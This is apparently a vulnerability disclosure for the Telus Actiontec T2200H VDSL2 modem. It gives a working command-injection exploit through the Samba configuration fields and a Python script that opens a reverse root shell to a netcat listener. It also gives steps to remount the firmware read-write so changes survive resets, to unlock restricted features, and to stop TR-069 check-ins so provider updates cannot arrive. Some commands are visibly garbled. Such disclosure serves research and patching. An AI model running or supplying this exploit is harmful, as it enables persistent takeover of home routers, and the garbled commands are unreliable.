### Device Details
Vendor: Actiontec (Telus Branded, but may work on others)
Model: T2200H (but likely affecting other similar models of theirs)
Affected Firmware: T2200H-31.128L.03
Device Manual:
http://static.telus.com/common/cms/files/internet/telus_t2200h_user_manual.pdf
Reported: November 2015
Status: Fixed on newly pushed firmware version
CVE: Not needed since update is pushed by the provider.
The Telus Actiontec T2200H is Telusa standard bonded VDSL2 modem. It
incorporates 2 VDSL2 bonded links with a built-in firewall, bridge mode,
802.11agn wireless, etc.
### Summary of Findings
- root shell access can be obtained as long as an attacker has a login to
the web UI. The password can always be reset by knowing the device serial
number printed on the device, if the default password hasn't been changed.
- There are 2 separate firmware partitions (/dev/mtdblock0 and
/dev/mtdblock1) that can be mounted read-write and then modified with
additional files or configuration - surviving reboots and factory resets.
- TR-069 settings can be modified to not check in to the management server.
This means that future updates would be impossible without flashing the
device locally.
### Running single shell commands
Under Advanced Setup > Samba Configuration update either the Samba Username
or Password with the following: a;iptables -Fa. A USB flash drive needs to
be plugged into the USB port on the rear of the modem when running the
exploit from the web GUI. Anything run in this field is executed as the
root user.
Now after running nmap, all listening ports are open:
$ nmap -p 1-10000 192.168.1.254
Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-11-08 22:14 MST
Nmap scan report for 192.168.1.254
Host is up (0.016s latency).
Not shown: 9991 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
5431/tcp open park-agent
7547/tcp open unknown
### Obtaining reverse root shell
Create a netcat session locally: nc -k -l 5555
Next weall run the following python code to allow us to pipe /bin/sh back
to us. Before running the following python code, you will need to login
successfully to the web-ui through http://192.168.1.254. 192.168.1.9 is
the IP of the machine listening on netcat.
```
import requests
s = requests.session()
smb_post = { "action" : "savapply",
"smbdEnable" : '1',
"smbdPasswd" : "123",
"smbdUserid" : ";rm /var/fifo2; mknod /var/fifo2 p",
"smbdVolume" : 'usb1_1',
"smbdWorkgroup" : "WORKGROUP"}
# creating the fifo pipe
s.post("http://192.168.1.254/fileshare.cmd", smb_post)
smb_post["smbdUserid"] = ";cat /var/fifo2 |/bin/sh -i 2>&1 |nc 192.168.1.9
5555 > /var/fifo2"
# Using the pipe to send a shell over netcat
s.post("http://192.168.1.254/fileshare.cmd", smb_post)
```
Your netcat listener should now be prompted with a root busybox shell:
$ nc -k -l 5555
BusyBox v1.17.2 (2013-12-27 18:49:15 PST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# cat /etc/image_version
T2200H-311283BGW0011043
#
### Other Discoveries
Mounting root filesystem read+write:
`mount -t jffs2 -o remount,rw mtd:rootfs`
Mounting partition 2 read-write:
`mount -t jffs2 -o rw /dev/mtdblock1 /mnt`
To allow unrestricted access of the web features (enabling telnet, firmware
flash, TR-069 configuration, etc.)
After the root filesystem is mounted read-write:
```
cat /webs/perm.txt | sed as/ 4/ 7/a | /webs/perm.txt
cat /webs/perm2.txt | sed as/ 4/ 7/a | /webs/perm2.txt
killall -HUP httpd
```
